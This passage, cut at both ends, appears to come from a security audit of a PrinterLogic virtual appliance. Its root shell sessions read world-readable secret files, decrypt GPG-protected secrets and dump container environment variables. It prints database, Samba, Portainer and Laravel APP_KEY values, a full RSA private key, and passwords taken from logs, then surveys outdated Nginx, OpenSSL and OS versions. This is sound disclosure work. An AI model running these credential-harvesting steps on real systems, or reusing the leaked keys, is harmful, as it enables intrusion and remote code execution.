printercloud_scim.1.okyfdbo5ct76v54eppsanw0me "SHARED_STORAGE=/var/www/efs_storage", e9994d5a21bf printerlogic/prs:1.0.2 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 9229/tcp printercloud_prs.1.6uuzdvqkb39u910gw9e3yupfy "SHARED_STORAGE=/var/www/efs_storage", 5b99b9c2a4b2 printerlogic/eb:0.0.4 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 3000/tcp, 9229/tcp printercloud_eb.1.wtzjn9sdbl6wva6dy3u1y1nh5 "SHARED_STORAGE=/var/www/efs_storage", d2e3989f4cf3 printerlogic/cpp-ui:1.80.5 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_cpp-ui.1.qhmgeshht9gip0quyhppdogv3 "SHARED_STORAGE=/var/www/efs_storage", fce5597bbe3d printerlogic/va-cdn:0.0.435 "/docker-entrypoint." 4 hours ago Up 4 hours 80/tcp printercloud-appliance_va-cdn.1.copecxekt4rwuxfq4tynfm1a6 "SHARED_STORAGE=/var/www/efs_storage", 294dbdd973da printerlogic/scd:1.0.70 "/var/www/app/.docke" 4 hours ago Up 4 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_scd.1.3eef4r68kmkqnc5dcswa3xjhv "Source": "/var/www/efs_storage/scd/storage", "Source": "/var/www/efs_storage/scd/storage", "SHARED_STORAGE=/var/www/efs_storage", 6cb464ab04b7 portainer/agent:latest "./agent" 4 hours ago Up 4 hours printercloud_portainer-agent.a6zgwxfp4n2v4tdi8u7b40shy.aoew1w8ym8p1hai6ch38dau7j 55b64c63a9f6 printerlogic/pq:5.0.124 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 443/tcp, 9000/tcp printercloud_pq.1.vwp9poc8belv24mxwijeeetct "Source": "/var/www/efs_storage/pq/storage", "Source": "/var/www/efs_storage/pq/storage", "SHARED_STORAGE=/var/www/efs_storage", a7bff45e538c printerlogic/ofn:1.108.0 "off-network-app" 4 hours ago Up 4 hours (healthy) 80/tcp printercloud_ofn.1.18qn5bj4eqgpbq2d94k6hy8vx "Source": "/var/www/efs_storage/ofn/storage", "Source": "/var/www/efs_storage/ofn/storage", "SHARED_STORAGE=/var/www/efs_storage", 317daac676fd printerlogic/scss:1.0.39 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 9229/tcp printercloud_scss.1.uc6fcunwy1s3hdb6di4avqlzb "SHARED_STORAGE=/var/www/efs_storage", 6b3781947b83 printerlogic/client:25.1.0.551 "/bin/sh -c 'supervi" 4 hours ago Up 4 hours printercloud-appliance_client.1.pnbxglabahqd9prozbvbs55sc "Source": "/var/www/efs_storage/client/ppd", "Source": "/var/www/efs_storage/client/printers", "Source": "/var/www/efs_storage/client/jobs", "Source": "/var/www/efs_storage/logs/client", "Source": "/var/www/efs_storage/client/tmp", "Source": "/var/www/efs_storage/client/etc", "Source": "/var/www/efs_storage/client/tmp", "Source": "/var/www/efs_storage/client/etc", "Source": "/var/www/efs_storage/client/ppd", "Source": "/var/www/efs_storage/client/printers", "Source": "/var/www/efs_storage/client/jobs", "Source": "/var/www/efs_storage/logs/client", 1d856b21e63d redis:5-alpine "docker-entrypoint.s" 4 hours ago Up 4 hours (healthy) 6379/tcp storage_redis.1.zachure4n159uah7xsu3ixau6 a842502dcc97 printerlogic/cat:1.0.58 "/var/www/app/.docke" 4 hours ago Up 4 hours (healthy) 80/tcp, 9229/tcp printercloud_cat.a6zgwxfp4n2v4tdi8u7b40shy.fgp2p5wo56hg4sanjmirpoyzl "SHARED_STORAGE=/var/www/efs_storage", 022c2a2201b4 printerlogic/hive:1.1.30 "/opt/entrypoint.sh " 6 days ago Up 4 hours cicd_hive_1 "/var/www/efs_storage:/var/www/efs_storage:rw", "Source": "/var/www/efs_storage", "Destination": "/var/www/efs_storage", "/var/www/efs_storage": {} Testing a random docker instance will confirm there is a full access to the `/var/www/efs_storage` directory. A `test` directory will be created in `/var/www/efs_storage` from the `printerlogic/va-api` instance: root@printerlogic:/var/www/efs_storage# docker ps|grep api 16178d2bccb2 printerlogic/va-api:1.1.4 "/opt/entrypoint.sh " 5 hours ago Up 5 hours (healthy) 80/tcp printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i root@printerlogic:/var/www/efs_storage# docker exec -it 16178d2bccb2 /bin/sh / # cd /var/www/efs_storage /var/www/efs_storage # ls -la total 96 drwxrwsr-x 18 xfs ping 4096 Feb 2 08:15 . drwxr-xr-x 1 root root 4096 Oct 13 16:29 .. drwxrwsr-x 6 root ping 4096 Jan 28 02:28 .hive drwxrwsr-x 2 1000 ping 4096 Jan 27 09:36 .secrets -rw-rw-r-- 1 1000 ping 56 Jan 27 10:16 .update_history drwxrwsr-x 3 root ping 4096 Jan 27 10:18 .updates drwxrwsr-x 2 xfs ping 4096 Jan 27 09:37 certs drwxrwsr-x 7 1000 ping 4096 Jan 27 09:37 client drwxrwsr-x 2 xfs ping 4096 Jan 27 09:36 exodus drwxrwsr-x 4 1000 ping 4096 Jan 27 09:37 logs drwxrwsr-x 2 root ping 16384 Jan 27 09:34 lost+found drwxrwsr-x 18 999 ping 4096 Feb 2 03:37 mysql drwxrwsr-x 2 xfs ping 4096 Jan 27 09:36 null drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 ofn drwxr-sr-x 6 root root 4096 Jan 27 10:18 pc-sys drwxrwsr-x 4 1000 ping 4096 Jan 27 09:36 pi drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 pq drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 scd -rwxrwsr-x 1 root ping 3519 Jan 27 09:36 secrets.env drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 users /var/www/efs_storage # mkdir test /var/www/efs_storage # ls -la total 100 drwxrwsr-x 19 xfs ping 4096 Feb 2 08:15 . drwxr-xr-x 1 root root 4096 Oct 13 16:29 .. drwxrwsr-x 6 root ping 4096 Jan 28 02:28 .hive drwxrwsr-x 2 1000 ping 4096 Jan 27 09:36 .secrets -rw-rw-r-- 1 1000 ping 56 Jan 27 10:16 .update_history drwxrwsr-x 3 root ping 4096 Jan 27 10:18 .updates drwxrwsr-x 2 xfs ping 4096 Jan 27 09:37 certs drwxrwsr-x 7 1000 ping 4096 Jan 27 09:37 client drwxrwsr-x 2 xfs ping 4096 Jan 27 09:36 exodus drwxrwsr-x 4 1000 ping 4096 Jan 27 09:37 logs drwxrwsr-x 2 root ping 16384 Jan 27 09:34 lost+found drwxrwsr-x 18 999 ping 4096 Feb 2 03:37 mysql drwxrwsr-x 2 xfs ping 4096 Jan 27 09:36 null drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 ofn drwxr-sr-x 6 root root 4096 Jan 27 10:18 pc-sys drwxrwsr-x 4 1000 ping 4096 Jan 27 09:36 pi drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 pq drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 scd -rwxrwsr-x 1 root ping 3519 Jan 27 09:36 secrets.env drwxrwsr-x 2 root ping 4096 Feb 2 08:15 test drwxrwsr-x 3 1000 ping 4096 Jan 27 09:36 users /var/www/efs_storage # Furthermore, the directory `/var/www/efs_storage` contains credentials used by the appliance. By default, everything is world-readable. Listing of `/var/www/efs_storage`: root@printerlogic:/var/www/efs_storage# ls -la /var/www/efs_storage/ total 92 drwxrwsr-x+ 18 www-data docker 4096 Jan 27 10:18 . drwxrwsr-x+ 6 ubuntu docker 4096 Dec 28 18:10 .. drwxrwsr-x+ 2 www-data docker 4096 Jan 27 09:37 certs drwxrwsr-x+ 7 ubuntu docker 4096 Jan 27 09:37 client drwxrwsr-x+ 2 www-data docker 4096 Jan 27 09:36 exodus drwxrwsr-x+ 6 root docker 4096 Jan 28 02:28 .hive drwxrwsr-x+ 4 ubuntu docker 4096 Jan 27 09:37 logs drwxrwsr-x+ 2 root docker 16384 Jan 27 09:34 lost+found drwxrwsr-x+ 18 999 docker 4096 Feb 2 03:37 mysql drwxrwsr-x+ 2 www-data docker 4096 Jan 27 09:36 null drwxrwsr-x+ 3 ubuntu docker 4096 Jan 27 09:36 ofn drwxr-sr-x+ 6 root root 4096 Jan 27 10:18 pc-sys drwxrwsr-x+ 4 ubuntu docker 4096 Jan 27 09:36 pi drwxrwsr-x+ 3 ubuntu docker 4096 Jan 27 09:36 pq drwxrwsr-x+ 3 ubuntu docker 4096 Jan 27 09:36 scd drwxrwsr-x+ 2 ubuntu docker 4096 Jan 27 09:36 .secrets -rwxrwsr-x+ 1 root docker 3519 Jan 27 09:36 secrets.env -rw-rw-r--+ 1 ubuntu docker 56 Jan 27 10:16 .update_history drwxrwsr-x+ 3 root docker 4096 Jan 27 10:18 .updates drwxrwsr-x+ 3 ubuntu docker 4096 Jan 27 09:36 users root@printerlogic:/var/www/efs_storage# It is possible to extract passwords from these files from any user because the files are world-readable. Content of `/var/www/efs_storage/secrets.env`: root@printerlogic:/var/www/efs_storage# cat secrets.env | tail -n 7 ########### VALUES DB_DATABASE="app_pi" DB_PASSWORD="BBlIL1X1ARvyrnA3FBpt" DB_PORT="3306" DB_USERNAME="admin" PRINTERCLOUD_DOMAIN="10.105.0.241" SAMBA_PASSWORD="4rd7AqdBvj7ZdGKrvQ9Z" root@printerlogic:/var/www/efs_storage# It is also possible to decrypt the GPG-encrypted files stored in `/var/www/efs_storage/.secrets/` using the private key that has been extracted before in GPG Private key stored in the solution. The files contain the mysql root password, the `APP_KEY` value used for Laravel and the portainer password. Access to the `APP_KEY` provides remote code execution on Laravel instances. Decrypted files in /var/www/efs_storage/.secrets: root@printerlogic:~# ls -la /var/www/efs_storage/.secrets/ total 16 drwxrwsr-x+ 2 ubuntu docker 4096 Feb 8 06:38 . drwxrwsr-x+ 19 www-data docker 4096 Feb 2 08:15 .. -rw-rw-r--+ 1 ubuntu docker 704 Jan 27 09:36 app-keys.gpg -rw-rw-r--+ 1 ubuntu docker 660 Feb 7 08:59 portainer-admin.gpg root@printerlogic:~# cd /var/www/efs_storage/.secrets root@printerlogic:/var/www/efs_storage/.secrets# gpg app-keys.gpg gpg: WARNING: no command supplied. Trying to guess what you mean ... gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23 "PrinterLogic Virtual Appliance Team " root@printerlogic:/var/www/efs_storage/.secrets# cat app-keys APP_KEY="1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M" MYSQL_ROOT_PASSWORD="0aa58a30-9f32-4731-a03c-3795fe49c0f3" root@printerlogic:/var/www/efs_storage/.secrets# gpg portainer-admin.gpg gpg: WARNING: no command supplied. Trying to guess what you mean ... gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 2020-01-23 "PrinterLogic Virtual Appliance Team " root@printerlogic:/var/www/efs_storage/.secrets# cat portainer-admin PORTAINER_PASSWORD="1bd01aeb-e29d-4de6-83ca-11e55858c6ae" root@printerlogic:/var/www/efs_storage/.secrets# We can verify these passwords are correct using the root access on the solution. These decrypted passwords match the passwords defined in environment variables. Extracting passwords from environment variables: root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i | awk '{ print $1'}); docker exec -it $i env;done|grep MYSQL_ROOT Error: No such container: CONTAINER MYSQL_ROOT_PASSWORD=0aa58a30-9f32-4731-a03c-3795fe49c0f3 root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i | awk '{ print $1'}); docker exec -it $i env;done|grep APP_KEY Error: No such container: CONTAINER APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M [...] It is also possible to reach the portainer agent running in the `portainer/agent` Docker instance on port 9001/tcp from any Docker instance. An attacker may use the `PORTAINER_PASSWORD` value to control the portainer agent. Using the mysql credentials, it is possible to compromise the application from any docker instance that has the `/var/www/efs_storage` mounting point - there is no firewall between docker instances so all the docker instances have a full network access to the mysql server and they also have access to the mysql credentials from `/var/www/efs_storage/secrets.env` and the Laravel application key, allowing Remote Code Execution against Docker instances that run Nginx with PHP. Moreover, the session files are world-readable. Extracting sessions from `/var/www/efs_storage/pi/storage/framework/sessions`: root@printerlogic:/var/www/efs_storage# ls -la ./pi/storage/framework/sessions/ total 12 drwxrwsr-x+ 2 www-data docker 4096 Feb 2 03:38 . drwxrwsr-x+ 5 www-data www-data 4096 Jan 27 09:37 .. -rw-rw-r--+ 1 www-data docker 118 Feb 2 03:38 jIHjRaArwpNVBdE9EokQeQoD0oYdaw4aq87oqAK0 root@printerlogic:/var/www/efs_storage# cat ./pi/storage/framework/sessions/jIHjRaArwpNVBdE9EokQeQoD0oYdaw4aq87oqAK0 ; echo a:2:{s:6:"_token";s:40:"gGVo8IMaJbVz5ZXPY8ThCeFCLbE8wa09UvCdMXXV";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}} root@printerlogic:/var/www/efs_storage# - From the Docker instances, as the applications run as root, there is a full access to any file in `/var/www/efs_storage`, as shown below. For example, the `client-key.pem` file used in Mysql is owned by mysql and the permissions are `600`. There is a full Read/Write access from the Docker image `printerlogic/va-api`. Reading `client-key.pem` as root from the Docker instance `printerlogic/va-api`: /var/www/efs_storage/mysql # ls -la total 214684 [...] -rw------- 1 999 ping 1680 Jan 27 09:36 client-key.pem [...] /var/www/efs_storage/mysql # cat client-key.pem -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAvC7hbdFLOPXiolgs+MM+jHAu1160g91yoLhbSZTUTUGNMM6+ t2btq5F4UtH1G6SUzuQs7d2BCrpyrTkB2idkiKlFVUPVVKEFOXwBsnMcotqfL/9N dyEVwxa6Lp0hHRWaOPntTx56+nCl95Ab7CGMJp2i2Nr0qrhOjv+0idVeiTUGGpSp cWQQilOwCgS/nDAuGBfmT9Mk2ARPDyV/lsJR4wEm1yAQWJ5cQrhhpriZRMFMwZUs dg1BfcRfxtRpo8M097HjkERKsPjUHIxbxYWDvfN8PJFTgUChaZ3T5AuCsLYleirV pNRxTj2UT9bjOfU4qWNc3crMgu017qqsZLqbZwIDAQABAoIBAATIpE5oXaMrDQHX f/0q6XIkf+xVqf0YKgvP4/Iw6Fy2Z+JvvwVmhnAwGIDyeWqkemvv/Pxm/xrItpWU t2lWSwX2V57dRJUMKtfVQS3KI1Y4fId50/xNSQJWl5ELyYW1wN/l6pRyT+oB5xYu Aae1Cp0IsNUWa9XTLZwRAAPo+qg+N6ketWyzjW5Fw6KfLbksF/QV6eWJwBOCDbJo gfXzXaSUhDXsEjVoCSa3HIvBmxrfzVx5R1Zr+r3tKAyhbnYYoH6RNOnSlp4TVpKD UJ9PowDWpIL/eGH65iHfDwfOaEeck6Ty4ADYCtzygAfJTcW2HXywdOAPtRrqv1gD HoLcX3ECgYEA4v4WKOIrGI20KADmRxeayPBViUqSYk49esgP9rKuXbd+W2GBvPpJ APesO9CbBszIOe8/T2+Efg9MywevlJWydtTqnUtNlTIQPBynrUXGf+fIkkjhAF+T 5OMfPo/fvsfSJS86H2WBZqr2mmciSlXgMtQRnknKcla0X2MbDof73L0CgYEA1Dsr cPoFUXHWP8FjQhFdmMIORlzk7fwUtD7BRYRL8vLwYzWm6R1zY3m4XLa+yMqA38N8 Tsfx/xEOevbZXs7loHMJHxTKYwf7PatllTPMLntBJBdXS9cbDE+bo/KHVZPwGd+a 0pBzWwEbzP7vXR1C7+PFrA8l+UUjSQ9U1mmrpPMCgYBcCodVwI+U/zCD4Al/3jRn MfydFN3SesM3HBRNBhrp6VOVHi6LQDmF6OevwWB7G2I9C6PyQ9fHfdC3qsApUaHx yVfwu+4Thx9KIJxlCBv7FTMhDegeTKMddnLe3VvucfvmFAZPYMtdpAkmhpdC6Rtl wNP8CRPL1RiCbR81fzJDSQKBgQCaUDuR9fkP8xm5Wb/2NfI8ND104+6BLB1RwZ9+ EGe4yvQG7ufh8EwKNGLc5vNpw/RYvycPkUpgD+LbfcknqoBEXeBv/Qn7X75KZOmD xxnbYjtHJsGOn2VHWkrstle43cxiw7crC2UU8oVoVKVuquwUySTdqlYOHTs+0Cr7 i/IGCQKBgQCCFghgRsQabDYo8ou7TPTQ4o+5bb0bnskps/Vrgpx11iom/9WNZGbP VS63QifOzog+fP68Evw6uriy9Y+VUnLcRDIPfyXUncpClRKcAzh0YakBP6A3Lqnv hZLW8dhZKQqyIMUtOra5tKMqstCLnNd0yaMALY1VgchJ93UGjMIKzg== -----END RSA PRIVATE KEY----- /var/www/efs_storage/mysql # - From the world-readable logs, it is also possible to extract valid passwords: Extracting the mysql password from logs: root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# ls -la total 940 drwxrwsr-x+ 2 root docker 4096 Feb 2 06:25 . drwxrwsr-x+ 4 ubuntu docker 4096 Jan 27 09:37 .. -rw-rw-r--+ 1 syslog syslog 2008 Feb 4 02:08 config.log -rw-r--r-- 1 syslog adm 2740 Jan 28 02:29 config.log-20220128.xz -rw-rw-r--+ 1 syslog syslog 332 Jan 31 05:24 config.log-20220131.xz -rw-rw-r--+ 1 syslog syslog 288 Feb 1 00:58 config.log-20220201.xz -rw-rw-r--+ 1 syslog syslog 502 Feb 2 03:37 config.log-20220202 -rw-rw-r--+ 1 syslog syslog 24153 Feb 4 05:17 cron.log -rw-r--r-- 1 syslog adm 848 Jan 28 06:25 cron.log-20220128.xz -rw-rw-r--+ 1 syslog syslog 236 Jan 31 06:25 cron.log-20220131.xz -rw-rw-r--+ 1 syslog syslog 1064 Feb 1 06:25 cron.log-20220201.xz -rw-rw-r--+ 1 syslog syslog 696 Feb 2 06:25 cron.log-20220202 -rw-rw-r--+ 1 syslog syslog 4396 Feb 4 02:08 init.log -rw-r--r-- 1 syslog adm 2748 Jan 28 02:29 init.log-20220128.xz -rw-rw-r--+ 1 syslog syslog 468 Jan 31 05:25 init.log-20220131.xz -rw-rw-r--+ 1 syslog syslog 532 Feb 1 04:14 init.log-20220201.xz -rw-rw-r--+ 1 syslog syslog 1558 Feb 2 03:39 init.log-20220202 -rw-rw-r--+ 1 syslog syslog 72050 Feb 4 05:37 pi.log -rw-r--r--+ 1 syslog adm 7600 Jan 28 02:29 pi.log-20220128.xz -rw-rw-r--+ 1 syslog syslog 3964 Jan 31 05:34 pi.log-20220131.xz [...] root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# xzgrep -i password *xz [...] services.log-20220131.xz:Jan 31 05:11:47 printerlogic va/printercloud_pq.1.oudnppibc8qwbym8z1wp91664[1547]: + timeout 180 bash -c until mysql -h mysql -u admin -P 3306 --password="BBlIL1X1ARvyrnA3FBpt" -e 'CREATE SCHEMA IF NOT EXISTS `app_pi`'; do sleep 5; done services.log-20220131.xz:Jan 31 05:11:51 printerlogic va/printercloud_scd.1.84yt6sjlse8b2wz163dd1o0du[1547]: + timeout 180 bash -c ' until mysql -h mysql -u admin -P 3306 --password="BBlIL1X1ARvyrnA3FBpt" -e '"'"'CREATE SCHEMA IF NOT EXISTS `app_scd`'"'"'; do sleep 5; done services.log-20220131.xz:Jan 31 05:12:03 printerlogic va/printercloud_idpi.1.z63z6m6udibpdq0mry74vv0xw[1547]: + timeout 180 bash -c ' until mysql -h mysql -u admin -P 3306 --password="BBlIL1X1ARvyrnA3FBpt" -e '"'"'CREATE SCHEMA IF NOT EXISTS `app_idpi`'"'"'; do sleep 5; done services.log-20220131.xz:Jan 31 05:25:12 printerlogic va/printercloud_scd.1.fp2n1q66h84za3kweq6m91k6s[1387]: + timeout 180 bash -c ' until mysql -h mysql -u admin -P 3306 --password="BBlIL1X1ARvyrnA3FBpt" -e '"'"'CREATE SCHEMA IF NOT EXISTS `app_scd`'"'"'; do sleep 5; done services.log-20220131.xz:Jan 31 05:25:13 printerlogic va/printercloud_pq.1.1xuk7airnt3u8tbpbkzed8pbh[1387]: + timeout 180 bash -c until mysql -h mysql -u admin -P 3306 --password="BBlIL1X1ARvyrnA3FBpt" -e 'CREATE SCHEMA IF NOT EXISTS `app_pi`'; do sleep 5; done The files `pi.log` and `services.log` contain passwords in clear-text. Because of the lack of defense in depth and the fact that passwords are written in clear-text in world-readable files, if any docker instance is compromised then the appliance is likely compromised. ## Details - Outdated, End-Of-Life, unsupported and vulnerable components (Nginx, libraries, Laravel, operating systems) While checking the 109 Nginx processes running in the appliance, it appears Nginx is running inside several different Docker instances and some versions are outdated and have CVEs. Determining Nginx versions: root@printerlogic:/dev/shm# ps -auxww | grep -i nginx | wc -l 109 root@printerlogic:/dev/shm# for i in $(docker ps | awk '{ print $1 }'); do (echo $(docker ps | grep $i);docker exec -it $i /usr/sbin/nginx -V;echo ) >/dev/shm/$i;done root@printerlogic:/dev/shm# awk '/version/{ print $3 }' * | sort | uniq -c 2 nginx/1.17.2 13 nginx/1.17.5 1 nginx/1.20.0 2 nginx/1.21.4 1 nginx/1.21.5 In total, the Docker instances use 5 different versions of Nginx: - - 1.17.2 (2 instances) - - 1.17.5 (13 instances) - - 1.20.0 (1 instance) - - 1.21.4 (2 instances) - - 1.21.5 (1 instance) Nginx 1.17 branch is EOL and security fixes haven't been applied in the Nginx installations because some binaries haven't been updated since 2019. Date of when the nginx binaries have been installed into Docker instances: root@printerlogic:/dev/shm# for i in $(docker ps|awk '{ print $1 }'); do docker exec -it $i ls -la /usr/sbin/nginx;done -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1149824 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1322056 Jul 23 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1378488 Nov 2 15:01 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1374232 Apr 20 2021 /usr/sbin/nginx -rwxr-xr-x 1 root root 1378488 Nov 2 15:01 /usr/sbin/nginx -rwxr-xr-x 1 root root 1149824 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1198240 Dec 28 18:48 /usr/sbin/nginx -rwxr-xr-x 1 root root 1145728 Jul 23 2019 /usr/sbin/nginx -rwxr-xr-x 1 root root 1326152 Oct 22 2019 /usr/sbin/nginx When analyzing these builts, some Nginx have been compiled by unsupported OS which is not clearly a good indicator regarding security. Determining operating systems that were used when compiling the Nginx binaries: root@printerlogic:/dev/shm# cat * | grep -i gcc | sort | uniq -c 2 built by gcc 10.2.1 20210110 (Debian 10.2.1-6) 1 built by gcc 10.3.1 20211027 (Alpine 10.3.1_git20211027) 1 built by gcc 6.3.0 20170516 (Debian 6.3.0-18+deb9u1) 3 built by gcc 8.3.0 (Alpine 8.3.0) 11 built by gcc 8.3.0 (Debian 8.3.0-6) 1 built by gcc 9.3.0 (Ubuntu 9.3.0-10ubuntu2) A script is provided to check the version of the userland (`operating systems`) used in Docker instances: [code:shell] root@printerlogic:/dev/shm# cat check-docker-os.sh 1 #!/bin/sh 2 3 for i in $(docker ps | awk '{ print $1 }') 4 do 5 echo $(docker ps | grep $i) 6 docker exec -it $i sh -c 'if [ -f /usr/lib/os-release ]; then 7 cat /usr/lib/os-release 8 fi 9 if [ -f /etc/alpine-release ]; then 10 cat /etc/alpine-release 11 fi' 12 echo 13 done [/code] Using this script, the underlying operating systems for each Docker instance were determined. Unsupported systems are still in use even if libraries are outdated and security patches are not provided anymore: - - Alpine 3.10.5 - printerlogic/idpi:1.0.6 - - Alpine 3.10.5 - printerlogic/scd:1.0.70 - - Alpine 3.10.5 - printerlogic/tree:1.0.57 - - Alpine 3.11.11 - printerlogic/scss:1.0.39 - - Alpine 3.11.12 - printerlogic/prs:1.0.2 - - Alpine 3.11.2 - printerlogic/eb:0.0.4 - - Alpine 3.11.9 - printerlogic/ebc:1.0.34 - - Alpine 3.12.0 - dperson/samba:latest - - Alpine 3.13.5 - printerlogic/hive:1.1.30 - - Alpine 3.14.2 - printerlogic/va-api:1.1.4 - - Alpine 3.14.3 - printerlogic/edw:1.0.44, traefik:latest, printerlogic/cat:1.0.58, - - Alpine 3.15.0 - printerlogic/oncp-pgw:v1.0.21, printerlogic/oncp-hold:v1.0.31, printerlogic/identity:v1.0.88, printerlogic/ofn:1.108.0, redis:5-alpine, printerlogic/oncp-ofn:v1.0.6, printerlogic/oncp-reg:1.0.15, printerlogic/qms:1.0.124, printerlogic/va-cdn:0.0.435, - - Debian 10 - printerlogic/pq:5.0.124, printerlogic/authn:1.0.257, printerlogic/pi:5.0.6539, printerlogic/pi:5.0.6539, printerlogic/scim:1.0.9, printerlogic/sched:1.0.18, printerlogic/pi:5.0.6539, mysql:8.0.26, printerlogic/pi:5.0.6539, printerlogic/pi:5.0.6539, printerlogic/gw:1.208.5, printerlogic/pi:5.0.6539, printerlogic/cpp-ui:1.80.5, - - Debian 11 - printerlogic/users:5.186.1, printerlogic/users:5.186.1, - - Ubuntu 18.04.6 LTS - printerlogic/client:25.1.0.551 - - Ubuntu 20.04.2 LTS - printerlogic/br:1.0.62 Alpine 3.10.x and 3.11.x are EOL. Alpine 3.12.x will be EOL in May 2022, Alpine 3.13 will be EOL in November 2022 and Debian 10 will be EOL in August 2022. Furthermore, some Docker instances are using Debian 10 which will be EOL-ed in 6 months. It is also possible to check the versions of OpenSSL libraries used by Nginx: OpenSSL 1.1.d is outdated and is affected by several CVEs. OpenSSL 1.1.1k is also outdated (but may contain back-port security patches): root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do docker exec -it $i /usr/sbin/nginx -V;done | grep -i openssl Error: No such container: CONTAINER built with OpenSSL 1.1.0j 20 Nov 2018 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1k 25 Mar 2021 built with OpenSSL 1.1.1l 24 Aug 2021 built with OpenSSL 1.1.1k 25 Mar 2021 built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1k 25 Mar 2021) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1k 25 Mar 2021) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1k 25 Mar 2021) built with OpenSSL 1.1.1f 31 Mar 2020 built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) built with OpenSSL 1.1.1c 28 May 2019 (running with OpenSSL 1.1.1d 10 Sep 2019) root@printerlogic:~# When randomly choosing a Docker instance, we can confirm the openssl version is outdated. This version will still be used by the PHP code running on the Docker instance. Determining the openssl versions in the `printerlogic/pi:5.0.6539` Docker instance : root@printerlogic:~# docker ps | grep 5f1ea5e4df83 5f1ea5e4df83 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 11 minutes ago Up 11 minutes 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-snmp.1.ov4ffd4qd6r734pcslu6r9kr6 root@printerlogic:~# docker exec -it 5f1ea5e4df83 /bin/sh # ps -a PID TTY TIME CMD 98 pts/0 00:00:00 ps # ps -auxww USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.1 0.6 392100 49132 ? Ssl 02:08 0:00 php artisan queue:work --queue=snmp-status --sleep=3 --tries=1 root 93 1.5 0.0 2392 764 pts/0 Ss 02:20 0:00 /bin/sh root 99 0.0 0.0 217556 3064 pts/0 R+ 02:20 0:00 ps -auxww # find /|grep libssl /usr/lib/x86_64-linux-gnu/libssl.so.1.1 /usr/lib/x86_64-linux-gnu/libssl.so /usr/lib/x86_64-linux-gnu/libssl.a [...] # strings /usr/lib/x86_64-linux-gnu/libssl.so | grep OpenSSL OpenSSL 1.1.1d 10 Sep 2019 # When analyzing the Docker instances freely available at https://hub.docker.com/r/printerlogic/base-php-fpm-nginx, it was confirmed these instances are using outdated software. These instances are likely used as reference images to create new instances. Determining software versions in the `printerlogic/base-php-fpm-nginx:latest` reference image: kali# docker pull printerlogic/base-php-fpm-nginx Using default tag: latest latest: Pulling from 